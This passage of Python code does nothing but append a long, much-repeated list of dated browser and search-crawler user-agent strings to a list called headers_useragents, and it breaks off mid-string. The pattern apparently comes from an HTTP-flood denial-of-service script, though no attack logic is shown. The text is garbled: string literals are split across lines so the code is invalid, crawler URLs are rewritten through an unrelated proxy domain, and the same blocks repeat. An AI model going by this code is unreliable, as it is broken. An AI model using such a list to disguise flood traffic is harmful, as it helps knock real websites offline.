headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7;
ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7;
en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online
Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
.NET CLR 1.1.4322)')
headers_useragents.append('Googlebot/2.1
(http://www.googlebot.com/bot.html)')
headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en)
Presto/2.2.0')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)
AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1;
Trident/5.0)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT
6.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1;
+http://www.google.com/bot.html)')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE
5.5; yahooseeker at yahoo-inc dot com ;
http://help.yahoo.com/help/us/shop/merchant/)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('AppEngine-Google;
(+http://code.google.com/appengine; appid: webetrex)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR
2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR
2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7;
AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR
3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR
3.5.30729; .NET4.0C; .NET4.0E)')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7;
ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7;
en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online
Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US;
rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de;
rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)
AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812;
U; ru) Presto/2.4.15')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)
AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1
NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413
(KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0;
Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2;
Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US;
rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1
OpenSSL/0.9.8g')
headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-
Arz1)')
headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)
AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US;
rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us)
AppleWebKit/413 (KHTML, like Gecko) Safari/413')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1;
Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0;
en-US)')
headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0;
WOW64; Trident/4.0; SLCC1)')
headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux)
KHTML/4.3.5 (like Gecko)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE;
IEMobile 6.5)')
headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131
Version/11.10')
headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Gecko/20060706 IEMobile/7.0')
headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X;
en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b
Safari/531.21.10')
headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7;
ru-ru)')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1;
Trident/5.0)')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT
6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7;
en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US;
rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1;
WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22
Version/10.51')
headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE;
IEMobile 7.0)')
headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en;
rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;
Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)
Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US)
Presto/2.8.131 Version/11.10')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online
Browser 1.1; rev1.5; Windows NT 5.1;)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21;
rv:1.8b4) Gecko/20050720 Minimo/0.007')
headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0
Configuration/CLDC-1.1 VendorID/179')
headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83;
http://www.80legs.com/webcrawler.html) Gecko/2008032620')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
AddSugarSpiderBot www.idealobserver.com')
headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0;
+http://www.anyapex.com/bot.html)')
headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0;
+http://www.baidu.com/search/spider.html)')
headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0;
+http://www.baidu.com/search/spider.html)')
headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0
compatible; +http://www.become.com/site_owners.html)')
headers_useragents.append('BillyBobBot/1.0
(+http://www.billybobbot.com/crawler/)')
headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0;
+http://www.bing.com/bingbot.htm)')
headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775;
i686-pc-linux-gnu)')
headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0;
+http://yandex.com/bots)')
headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp;
http://help.yahoo.com/help/us/ysearch/slurp)')
headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0;
